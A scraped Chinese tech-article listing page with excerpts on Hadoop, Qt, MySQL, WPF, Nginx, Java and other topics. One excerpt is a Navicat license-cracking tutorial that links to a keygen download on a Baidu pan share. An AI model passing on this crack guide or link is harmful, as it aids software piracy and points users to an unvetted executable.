windows intelij 跑 MR WordCount" target="_blank">Hadoop windows intelij 跑 MR WordCount</a> <span class="text-muted">piziyang12138</span> <div>一、软件环境我使用的软件版本如下:IntellijIdea2017.1Maven3.3.9Hadoop分布式环境二、创建maven工程打开Idea,file->new->Project,左侧面板选择maven工程。(如果只跑MapReduce创建java工程即可,不用勾选Creatfromarchetype,如果想创建web工程或者使用骨架可以勾选)image.png设置GroupId和Artif</div> </li> <li><a href="/article/1834792851813265408.htm" title="Qt框架在跨平台应用开发中的优势" target="_blank">Qt框架在跨平台应用开发中的优势</a> <span class="text-muted">NewmanEdwarda2</span> <a class="tag" taget="_blank" href="/search/qt/1.htm">qt</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>随着软件技术的不断发展,跨平台应用开发已成为软件开发领域的一个重要趋势。在众多跨平台开发框架中,Qt因其强大的功能和灵活性而备受开发者的青睐。本文将从多个方面详细探讨Qt框架在跨平台应用开发中的优势。一、跨平台兼容性Qt框架最显著的优势之一就是其卓越的跨平台兼容性。Qt支持多种操作系统,包括Windows、Linux、macOS、Android、iOS等,使得开发者能够使用同一套代码库为不同平台开</div> </li> <li><a href="/article/1834786410394120192.htm" title="2019-04-27 sap install for window 2008" target="_blank">2019-04-27 sap install for window 2008</a> <span class="text-muted">麦兜的刀</span> <div>sap安装配置安装介质准备windows2008R2withoutSP16.0安装介质列表安装Java工具安装操作系统补丁配置SWAP交换分区配置主机名开始安装向导运行SAP安装管理器D:\softs\sapcds\IM_WINDOWS_X86_64\sapinst.exe进入安装界面自定义安装参数定义安装参数提示注销,重新登陆回到安装界面注销冲登陆SAP实例号PRD,安装磁盘驱动器R:安装实例名</div> </li> <li><a href="/article/1834779362470227968.htm" title="LSP协议被劫持导致不能上网" target="_blank">LSP协议被劫持导致不能上网</a> <span class="text-muted">tgl182</span> <a class="tag" taget="_blank" href="/search/LSP%E5%8D%8F%E8%AE%AE/1.htm">LSP协议</a> <div>故障现象:最近有同事电脑浏览器打不开网页,DNS没问题,外网地址可以PING通,本地连接显示正常,登陆QQ显示网络连接超时,打开浏览器不能显示网页,网络丢包率达到了100%,本地连接数据包收到为0,查杀木马、病毒也不能解决问题。原因分析:WinsockLSP全称WindowsSocketLayeredServiceProvider(分层服务提供商),它是Windows底层网络Socker通信需要经</div> </li> <li><a href="/article/1834774949244530688.htm" title="Anaconda 安装与使用教程" target="_blank">Anaconda 安装与使用教程</a> <span class="text-muted">寂然如故</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>Anaconda安装与使用教程目录-[简介](#简介)-[安装Anaconda](#安装anaconda)-[Windows系统](#windows系统)-[macOS系统](#macos系统)-[Linux系统](#linux系统)-[启动AnacondaPrompt(命令行)](#启动anaconda-prompt-命令行)-[创建与管理环境](#创建与管理环境)-[创建环境](#创建环境)-</div> </li> <li><a href="/article/1834772429088583680.htm" title="mysql:表的约束(空属性,默认值,comment,zerofill,主键,唯一键,外键)" target="_blank">mysql:表的约束(空属性,默认值,comment,zerofill,主键,唯一键,外键)</a> <span class="text-muted">不会编程的阿成</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>目录表的约束空属性默认值(defualut)comment:列描述zerofill:显示约束主键自增长:auto_increment唯一键外键查询数据表的约束真正约束字段的是数据类型,但是数据类型约束很单一,需要有一些额外的约束,更好的保证数据的合法性,从业务逻辑角度保证数据的正确性。比如有一个字段是email,要求是唯一的。表的约束有很多,这里主要介绍如下几个:null/notnull,defa</div> </li> <li><a href="/article/1834771290548957184.htm" title="Navicat 15.x for MySQL最新版注册码破解激活教程" target="_blank">Navicat 15.x for MySQL最新版注册码破解激活教程</a> <span class="text-muted">张先森丫</span> <div>一、准备工作:破解注册步骤并不难,请耐心看完!1.下载Navicat15.xforMySQL官网下载地址:http://www.navicat.com.cn/download/navicat-premium2.下载注册机链接:https://pan.baidu.com/s/1-FHd7b7NveohwSKuxd-jzQ提取码:zxsY二、开始激活操作:1.将下载好的注册机压缩包复制到Navicat</div> </li> <li><a href="/article/1834768901234323456.htm" title="两台电脑如何建立局域网?三种简便方法推荐" target="_blank">两台电脑如何建立局域网?三种简便方法推荐</a> <span class="text-muted">节点小宝</span> <a class="tag" taget="_blank" href="/search/%E7%A7%91%E6%8A%80/1.htm">科技</a><a class="tag" taget="_blank" href="/search/%E7%89%A9%E8%81%94%E7%BD%91/1.htm">物联网</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%9C%E7%A8%8B%E5%B7%A5%E4%BD%9C/1.htm">远程工作</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>方法一:使用网线直接连接1、准备一根网线,长度不宜过长(建议不要超过80米,否则信号会衰减),确保两台电脑相邻或距离较近。2、将网线的一头插入一台电脑的网口,另一头插入另一台电脑的网口。3、打开电脑,进入网络设置。在Windows系统中,可以点击桌面下方的网络图标,选择“网络设置”。4、在网络设置中,找到“以太网(本地连接)”选项,并选择“网络和共享中心”。5、在“网络和共享中心”中,找到“以太网</div> </li> <li><a href="/article/1834766381854322688.htm" title="WLS2(ubuntu22.04)使用windows2的代理上网" target="_blank">WLS2(ubuntu22.04)使用windows2的代理上网</a> <span class="text-muted">bglmmz</span> <a class="tag" taget="_blank" href="/search/wls2/1.htm">wls2</a> <div>1.在wls2中,vim/etc/profile,添加如下配置后,source/etc/profile```exporthostip=127.0.0.1exportsocks_hostport=10800exporthttp_hostport=10800aliasproxy='exporthttps_proxy="https://${hostip}:${http_hostport}"exporth</div> </li> <li><a href="/article/1834761246583386112.htm" title="mybatis支持json,Spring boot配置" target="_blank">mybatis支持json,Spring boot配置</a> <span class="text-muted">Knight_9</span> <div>mysql5.7版本以后支持原生json格式,基于Springboot进行配置说明。mybatis支持mysql的json格式mysql-connector,mysql的驱动版本要大于等于5.1.40,否则json字段查询会发生乱码。继承BaseTypeHandler自定义一个json类型处理器,放到一个handler包下,例:packagecom.c.config.handler;importc</div> </li> <li><a href="/article/1834760963690164224.htm" title="C# 在WPF中实现图表生成" target="_blank">C# 在WPF中实现图表生成</a> <span class="text-muted">A_nanda</span> <a class="tag" taget="_blank" href="/search/WPF%E8%B5%8F%E6%9E%90/1.htm">WPF赏析</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>在现代应用程序中,数据可视化是一个重要的功能,它可以帮助用户更直观地理解数据。在C#WPF(WindowsPresentationFoundation)中,有多种方式可以生成图表。以下是五种常见的方法,每种方法都有其独特的优势和局限。1.使用System.Windows.Shapes命名空间代码示例:&lt;RectangleWidth="50"Height="50"Fill="Blue"Canva</div> </li> <li><a href="/article/1834754537571840000.htm" title="从零开始!Jupyter Notebook的安装教程" target="_blank">从零开始!Jupyter Notebook的安装教程</a> <span class="text-muted">yunquantong</span> <a class="tag" taget="_blank" href="/search/jupyter/1.htm">jupyter</a><a class="tag" taget="_blank" href="/search/ide/1.htm">ide</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>以下是从零开始安装JupyterNotebook的教程,适用于Windows、macOS和Linux系统。1.安装PythonJupyterNotebook需要Python环境。你可以从Python官方网站下载并安装Python。Windows用户:运行安装程序时,请确保勾选“AddPythontoPATH”选项。macOS用户:使用安装程序或通过Homebrew安装(brewinstallpyt</div> </li> <li><a href="/article/1834750250833768448.htm" title="WPF实现简单的9宫格键盘移动方块" target="_blank">WPF实现简单的9宫格键盘移动方块</a> <span class="text-muted">no longer</span> <a class="tag" taget="_blank" href="/search/WPF%E5%AD%A6%E4%B9%A0/1.htm">WPF学习</a><a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a> <div>实现用电脑键盘上下左右实现方块的移动demoxaml文件代码:后台代码usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Windows;usingSystem.Windows.Controls;usingSyste</div> </li> <li><a href="/article/1834747980977106944.htm" title="【WPF】Popup的使用" target="_blank">【WPF】Popup的使用</a> <span class="text-muted">wangnaisheng</span> <a class="tag" taget="_blank" href="/search/C%23/1.htm">C#</a><a class="tag" taget="_blank" href="/search/WPF/1.htm">WPF</a><a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a> <div>WPF(WindowsPresentationFoundation)中的Popup控件用于创建弹出窗口,如工具提示、上下文菜单等。Popup控件本身并不直接显示任何内容,它需要一个子元素来显示实际的内容。以下是一个简单的XAML示例,展示如何创建一个点击按钮后出现的弹出窗口:1.前台界面2.后台逻辑需要为按钮的点击事件编写处理程序,以控制Popup的打开和关闭状态:usingSystem.Wind</div> </li> <li><a href="/article/1834739283336982528.htm" title="Django 安装指南" target="_blank">Django 安装指南</a> <span class="text-muted">lly202406</span> <a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>Django安装指南Django是一个高级的PythonWeb框架,它鼓励快速开发和干净、实用的设计。本指南将详细介绍如何在不同的操作系统上安装Django,包括Windows、macOS和Linux。在Windows上安装Django先决条件Python:Django要求Python3.8或更高版本。可以从Python官网下载适用于Windows的Python安装程序。pip:Python的包管</div> </li> <li><a href="/article/1834736761796915200.htm" title="从零开始!Jupyter Notebook的安装教程" target="_blank">从零开始!Jupyter Notebook的安装教程</a> <span class="text-muted">109702008</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/jupyter/1.htm">jupyter</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>GPT-4o(OpenAI)安装JupyterNotebook是一个相对简单的过程,特别是在大多数现代操作系统(如Windows、macOS和Linux)上。以下是详细的步骤指南,从安装Python开始,到JupyterNotebook的使用。步骤1:安装PythonJupyterNotebook需要Python环境。你可以从[Python官网](https://www.python.org/do</div> </li> <li><a href="/article/1834736128389902336.htm" title="【Java】Mybatis Druid连接池配置详细" target="_blank">【Java】Mybatis Druid连接池配置详细</a> <span class="text-muted">beautiful_huang</span> <a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a> <div>pom.xmlcom.alibabadruid1.0.18.propertiesspring.datasource.driver-class-name=com.mysql.jdbc.Driverspring.datasource.url=jdbc:mysql://localhost:3306/mybatis2?characterEncoding=utf-8&useSSL=truespring.da</div> </li> <li><a href="/article/1834735120226021376.htm" title="WPF中的文件保存功能" target="_blank">WPF中的文件保存功能</a> <span class="text-muted">Vae_Mars</span> <a class="tag" taget="_blank" href="/search/AI%E5%AF%B9%E8%AF%9D%E4%B8%AD%E7%9A%84%E5%85%B6%E4%BB%96%E7%9F%A5%E8%AF%86/1.htm">AI对话中的其他知识</a><a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a> <div>1.解释说明-在设计wpf界面的时候,难免会有文件保存的需求,这时就需要添加文件下载功能-这个是调用的windows的api,所以兼容性比较强-可以根据返回值确定是否成功-使用时直接调用这个程序就行,url填写你的文件地址,name即为文件的默认名2.程序示例privateboolDownloadView(stringurl,stringname){boolfanhui=false;stringm</div> </li> <li><a href="/article/1834732092211163136.htm" title="数据库管理的利器Navicat —— 全面测评与热门产品推荐" target="_blank">数据库管理的利器Navicat —— 全面测评与热门产品推荐</a> <span class="text-muted">界面开发小八哥</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/Navicat/1.htm">Navicat</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/1.htm">数据库开发</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>在数据库管理领域,Navicat无疑是一款深受欢迎的软件。作为一个强大的数据库管理和开发工具,它支持多种数据库类型,包括MySQL、MariaDB、MongoDB、SQLServer、Oracle、PostgreSQL等。本文将全面测评Navicat的核心功能,同时推荐几款热门的Navicat产品。Navicat的主要特点1.跨平台支持:Navicat支持Windows、Mac和Linux平台,可</div> </li> <li><a href="/article/1834731370182701056.htm" title="通过DBeaver连接Phoenix操作hbase" target="_blank">通过DBeaver连接Phoenix操作hbase</a> <span class="text-muted">不想做咸鱼的王富贵</span> <div>通过DBeaver连接Phoenix操作hbase前言本文介绍常用一种通用数据库工具Dbeaver,DBeaver可通过JDBC连接到数据库,可以支持几乎所有的数据库产品,包括:MySQL、PostgreSQL、MariaDB、SQLite、Oracle、Db2、SQLServer、Sybase、MSAccess、Teradata、Firebird、Derby等等。商业版本更是可以支持各种NoSQ</div> </li> <li><a href="/article/81.htm" title="java短路运算符和逻辑运算符的区别" target="_blank">java短路运算符和逻辑运算符的区别</a> <span class="text-muted">3213213333332132</span> <a class="tag" taget="_blank" href="/search/java%E5%9F%BA%E7%A1%80/1.htm">java基础</a> <div> /* * 逻辑运算符——不论是什么条件都要执行左右两边代码 * 短路运算符——我认为在底层就是利用物理电路的“并联”和“串联”实现的 * 原理很简单,并联电路代表短路或(||),串联电路代表短路与(&amp;&amp;)。 * * 并联电路两个开关只要有一个开关闭合,电路就会通。 * 类似于短路或(||),只要有其中一个为true(开关闭合)是</div> </li> <li><a href="/article/208.htm" title="Java异常那些不得不说的事" target="_blank">Java异常那些不得不说的事</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/exception/1.htm">exception</a> <div>一、在finally块中做数据回收操作 比如数据库连接都是很宝贵的,所以最好在finally中关闭连接。 JDBCAgent jdbc = new JDBCAgent(); try{ jdbc.excute(&quot;select * from ctp_log&quot;); }catch(SQLException e){ ... }finally{ jdbc.close(); </div> </li> <li><a href="/article/335.htm" title="utf-8与utf-8(无BOM)的区别" target="_blank">utf-8与utf-8(无BOM)的区别</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a> <div>BOM——Byte Order Mark,就是字节序标记 &nbsp; 在UCS 编码中有一个叫做&quot;ZERO WIDTH NO-BREAK SPACE&quot;的字符,它的编码是FEFF。而FFFE在UCS中是不存在的字符,所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前,先传输 字符&quot;ZERO WIDTH NO-BREAK SPACE&quot;。这样如</div> </li> <li><a href="/article/462.htm" title="JAVA Annotation之定义篇" target="_blank">JAVA Annotation之定义篇</a> <span class="text-muted">周凡杨</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%B3%A8%E8%A7%A3/1.htm">注解</a><a class="tag" taget="_blank" href="/search/annotation/1.htm">annotation</a><a class="tag" taget="_blank" href="/search/%E5%85%A5%E9%97%A8/1.htm">入门</a><a class="tag" taget="_blank" href="/search/%E6%B3%A8%E9%87%8A/1.htm">注释</a> <div>&nbsp; &nbsp; Annotation:&nbsp;译为注释或注解 An annotation, in the Java computer programming language, is a form of syntactic metadata that can be added to Java source code. Classes, methods, variables, pa</div> </li> <li><a href="/article/589.htm" title="tomcat的多域名、虚拟主机配置" target="_blank">tomcat的多域名、虚拟主机配置</a> <span class="text-muted">g21121</span> <a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a> <div>众所周知apache可以配置多域名和虚拟主机,而且配置起来比较简单,但是项目用到的是tomcat,配来配去总是不成功。查了些资料才总算可以,下面就跟大家分享下经验。 很多朋友搜索的内容基本是告诉我们这么配置: 在Engine标签下增面积Host标签,如下: &lt;Host name=&quot;www.site1.com&quot; appBase=&quot;webapps&quot;</div> </li> <li><a href="/article/716.htm" title="Linux SSH 错误解析(Capistrano 的cap 访问错误 Permission )" target="_blank">Linux SSH 错误解析(Capistrano 的cap 访问错误 Permission )</a> <span class="text-muted">510888780</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/capistrano/1.htm">capistrano</a> <div> 1.ssh -v hdfs@192.168.18.133 出现 Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password). 错误 运行状况如下: OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013 debug1: Reading configuratio</div> </li> <li><a href="/article/843.htm" title="log4j的用法" target="_blank">log4j的用法</a> <span class="text-muted">Harry642</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/log4j/1.htm">log4j</a> <div>一、前言:&nbsp;&nbsp;&nbsp;&nbsp; log4j 是一个开放源码项目,是广泛使用的以Java编写的日志记录包。由于log4j出色的表现,&nbsp;&nbsp;&nbsp;&nbsp; 当时在log4j完成时,log4j开发组织曾建议sun在jdk1.4中用log4j取代jdk1.4 的日志工具类,但当时jdk1.4已接近完成,所以sun拒绝使用log4j,当在java开发中</div> </li> <li><a href="/article/970.htm" title="mysql、sqlserver、oracle分页,java分页统一接口实现" target="_blank">mysql、sqlserver、oracle分页,java分页统一接口实现</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/jave/1.htm">jave</a> <div> 定义:pageStart 起始页,pageEnd 终止页,pageSize页面容量 oracle分页:     select * from ( select mytable.*,rownum&nbsp;num from (实际传的SQL) where&nbsp;rownum&lt;=pageEnd) where num&gt;=pageStart sqlServer分页: &nbsp</div> </li> <li><a href="/article/1097.htm" title="Hessian 简单例子" target="_blank">Hessian 简单例子</a> <span class="text-muted">antlove</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/service/1.htm">service</a><a class="tag" taget="_blank" href="/search/hessian/1.htm">hessian</a> <div>hello.hessian.MyCar.java package hessian.pojo; import java.io.Serializable; public class MyCar implements Serializable { private static final long serialVersionUID = 473690540190845543</div> </li> <li><a href="/article/1224.htm" title="数据库对象的同义词和序列" target="_blank">数据库对象的同义词和序列</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E5%BA%8F%E5%88%97/1.htm">序列</a><a class="tag" taget="_blank" href="/search/%E5%90%8C%E4%B9%89%E8%AF%8D/1.htm">同义词</a><a class="tag" taget="_blank" href="/search/ORACLE%E6%9D%83%E9%99%90/1.htm">ORACLE权限</a> <div>回顾简单的数据库权限等命令; 解锁用户和锁定用户 alter user scott account lock/unlock; //system下查看系统中的用户 select * dba_users; //创建用户名和密码 create user wj identified by wj; identified by //授予连接权和建表权 grant connect to </div> </li> <li><a href="/article/1351.htm" title="使用Powermock和mockito测试静态方法" target="_blank">使用Powermock和mockito测试静态方法</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90/1.htm">持续集成</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a><a class="tag" taget="_blank" href="/search/mockito/1.htm">mockito</a><a class="tag" taget="_blank" href="/search/Powermock/1.htm">Powermock</a> <div>&nbsp; &nbsp; &nbsp; &nbsp; 实例: package com.bijian.study; import static org.junit.Assert.assertEquals; import java.io.IOException; import org.junit.Before; import org.junit.Test; import or</div> </li> <li><a href="/article/1478.htm" title="精通Oracle10编程SQL(6)访问ORACLE" target="_blank">精通Oracle10编程SQL(6)访问ORACLE</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a> <div>/* *访问ORACLE */ --检索单行数据 --使用标量变量接收数据 DECLARE v_ename emp.ename%TYPE; v_sal emp.sal%TYPE; BEGIN select ename,sal into v_ename,v_sal from emp where empno=&amp;no; dbms_output.pu</div> </li> <li><a href="/article/1605.htm" title="【Nginx四】Nginx作为HTTP负载均衡服务器" target="_blank">【Nginx四】Nginx作为HTTP负载均衡服务器</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a> <div>&nbsp;Nginx的另一个常用的功能是作为负载均衡服务器。一个典型的web应用系统,通过负载均衡服务器,可以使得应用有多台后端服务器来响应客户端的请求。一个应用配置多台后端服务器,可以带来很多好处: &nbsp; 负载均衡的好处 增加可用资源 增加吞吐量 加快响应速度,降低延时 出错的重试验机制 Nginx主要支持三种均衡算法: round-robin l</div> </li> <li><a href="/article/1732.htm" title="jquery-validation备忘" target="_blank">jquery-validation备忘</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/F%23/1.htm">F#</a><a class="tag" taget="_blank" href="/search/Firebug/1.htm">Firebug</a> <div>留点学习jquery validation总结的代码: &nbsp; function checkForm(){ validator = $(&quot;#commentForm&quot;).validate({// #formId为需要进行验证的表单ID errorElement :&quot;span&quot;,// 使用&quot;div&quot;标签标记错误, 默认:&</div> </li> <li><a href="/article/1859.htm" title="solr限制admin界面访问(端口限制和http授权限制)" target="_blank">solr限制admin界面访问(端口限制和http授权限制)</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/%E9%99%90%E5%AE%9AIp%E8%AE%BF%E9%97%AE/1.htm">限定Ip访问</a> <div>solr的管理界面可以帮助我们做很多事情,但是把solr程序放到公网之后就要限制对admin的访问了。 可以通过tomcat的http基本授权来做限制,也可以通过iptables防火墙来限制。 我们先看如何通过tomcat配置http授权限制。 第一步: 在tomcat的conf/tomcat-users.xml文件中添加管理用户,比如: &lt;userusername=&quot;ad</div> </li> <li><a href="/article/1986.htm" title="多线程-用JAVA写一个多线程程序,写四个线程,其中二个对一个变量加1,另外二个对一个变量减1" target="_blank">多线程-用JAVA写一个多线程程序,写四个线程,其中二个对一个变量加1,另外二个对一个变量减1</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a> <div> public class IncDecThread { private int j=10; /* * 题目:用JAVA写一个多线程程序,写四个线程,其中二个对一个变量加1,另外二个对一个变量减1 * 两个问题: * 1、线程同步--synchronized * 2、线程之间如何共享同一个j变量--内部类 */ public static </div> </li> <li><a href="/article/2113.htm" title="买房历程" target="_blank">买房历程</a> <span class="text-muted">cfyme</span> <div>&nbsp; &nbsp; 2015-06-21: 万科未来城,看房子 &nbsp; 2015-06-26: 办理贷款手续,贷款73万,贷款利率5.65=5.3675 &nbsp; 2015-06-27: 房子首付,签完合同 &nbsp; 2015-06-28,央行宣布降息 0.25,就2天的时间差啊,没赶上。 &nbsp; 首付,老婆找他的小姐妹接了5万,另外几个朋友借了1-</div> </li> <li><a href="/article/2240.htm" title="[军事与科技]制造大型太空战舰的前奏" target="_blank">[军事与科技]制造大型太空战舰的前奏</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E5%88%B6%E9%80%A0/1.htm">制造</a> <div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 天气热了........空调和电扇要准备好.......... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最近,世界形势日趋复杂化,战争的阴影开始覆盖全世界.......... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以,我们不得不关</div> </li> <li><a href="/article/2367.htm" title="dateformat" target="_blank">dateformat</a> <span class="text-muted">dai_lm</span> <a class="tag" taget="_blank" href="/search/DateFormat/1.htm">DateFormat</a> <div> &quot;Symbol Meaning Presentation Ex.&quot; &quot;------ ------- ------------ ----&quot; &quot;G era designator (Text) AD&quot; &quot;y year</div> </li> <li><a href="/article/2494.htm" title="Hadoop如何实现关联计算" target="_blank">Hadoop如何实现关联计算</a> <span class="text-muted">datamachine</span> <a class="tag" taget="_blank" href="/search/mapreduce/1.htm">mapreduce</a><a class="tag" taget="_blank" href="/search/hadoop/1.htm">hadoop</a><a class="tag" taget="_blank" href="/search/%E5%85%B3%E8%81%94%E8%AE%A1%E7%AE%97/1.htm">关联计算</a> <div>&nbsp;&nbsp;&nbsp; 选择Hadoop,低成本和高扩展性是主要原因,但但它的开发效率实在无法让人满意。 &nbsp;&nbsp;&nbsp; 以关联计算为例。 &nbsp;&nbsp;&nbsp; 假设:HDFS上有2个文件,分别是客户信息和订单信息,customerID是它们之间的关联字段。如何进行关联计算,以便将客户名称添加到订单列表中? &nbsp;&nbsp;&nbs</div> </li> <li><a href="/article/2621.htm" title="用户模型中修改用户信息时,密码是如何处理的" target="_blank">用户模型中修改用户信息时,密码是如何处理的</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a> <div>当我添加或修改用户记录的时候对于处理确认密码我遇到了一些麻烦,所有我想分享一下我是怎么处理的。 场景是使用的基本的那些(系统自带),你需要有一个数据表(user)并且表中有一个密码字段(password),它使用 sha1、md5或其他加密方式加密用户密码。 面是它的工作流程: 当创建用户的时候密码需要加密并且保存,但当修改用户记录时如果使用同样的场景我们最终就会把用户加密过的密码再次加密,这</div> </li> <li><a href="/article/2748.htm" title="中文 iOS/Mac 开发博客列表" target="_blank">中文 iOS/Mac 开发博客列表</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/Blog/1.htm">Blog</a> <div>&nbsp; 本博客列表会不断更新维护,如果有推荐的博客,请到此处提交博客信息。 本博客列表涉及的文章内容支持&nbsp;定制化Google搜索,特别感谢&nbsp;JeOam&nbsp;提供并帮助更新。 本博客列表也提供同步更新的OPML文件(下载OPML文件),可供导入到例如feedly等第三方定阅工具中,特别感谢&nbsp;lcepy&nbsp;提供自动转换脚本。这里有导入教程。 </div> </li> <li><a href="/article/2875.htm" title="js去除空格,去除左右两端的空格" target="_blank">js去除空格,去除左右两端的空格</a> <span class="text-muted">蕃薯耀</span> <a class="tag" taget="_blank" href="/search/%E5%8E%BB%E9%99%A4%E5%B7%A6%E5%8F%B3%E4%B8%A4%E7%AB%AF%E7%9A%84%E7%A9%BA%E6%A0%BC/1.htm">去除左右两端的空格</a><a class="tag" taget="_blank" href="/search/js%E5%8E%BB%E6%8E%89%E6%89%80%E6%9C%89%E7%A9%BA%E6%A0%BC/1.htm">js去掉所有空格</a><a class="tag" taget="_blank" href="/search/js%E5%8E%BB%E9%99%A4%E7%A9%BA%E6%A0%BC/1.htm">js去除空格</a> <div>js去除空格,去除左右两端的空格 &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&g</div> </li> <li><a href="/article/3002.htm" title="SpringMVC4零配置--web.xml" target="_blank">SpringMVC4零配置--web.xml</a> <span class="text-muted">hanqunfeng</span> <a class="tag" taget="_blank" href="/search/springmvc4/1.htm">springmvc4</a> <div>servlet3.0+规范后,允许servlet,filter,listener不必声明在web.xml中,而是以硬编码的方式存在,实现容器的零配置。 ServletContainerInitializer:启动容器时负责加载相关配置 package javax.servlet; import java.util.Set; public interface ServletContainer</div> </li> <li><a href="/article/3129.htm" title="《开源框架那些事儿21》:巧借力与借巧力" target="_blank">《开源框架那些事儿21》:巧借力与借巧力</a> <span class="text-muted">j2eetop</span> <a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a> <div>同样做前端UI,为什么有人花了一点力气,就可以做好?而有的人费尽全力,仍然错误百出?我们可以先看看几个故事。 故事1:巧借力,乌鸦也可以吃核桃 有一个盛产核桃的村子,每年秋末冬初,成群的乌鸦总会来到这里,到果园里捡拾那些被果农们遗落的核桃。 核桃仁虽然美味,但是外壳那么坚硬,乌鸦怎么才能吃到呢?原来乌鸦先把核桃叼起,然后飞到高高的树枝上,再将核桃摔下去,核桃落到坚硬的地面上,被撞破了,于是,</div> </li> <li><a href="/article/3256.htm" title="JQuery EasyUI 验证扩展" target="_blank">JQuery EasyUI 验证扩展</a> <span class="text-muted">可怜的猫</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/easyui/1.htm">easyui</a><a class="tag" taget="_blank" href="/search/%E9%AA%8C%E8%AF%81/1.htm">验证</a> <div>&nbsp; 最近项目中用到了前端框架-- EasyUI,在做校验的时候会涉及到很多需要自定义的内容,现把常用的验证方式总结出来,留待后用。 &nbsp; 以下内容只需要在公用js中添加即可。 &nbsp; 使用类似于如下: &lt;input class=&quot;easyui-textbox&quot; 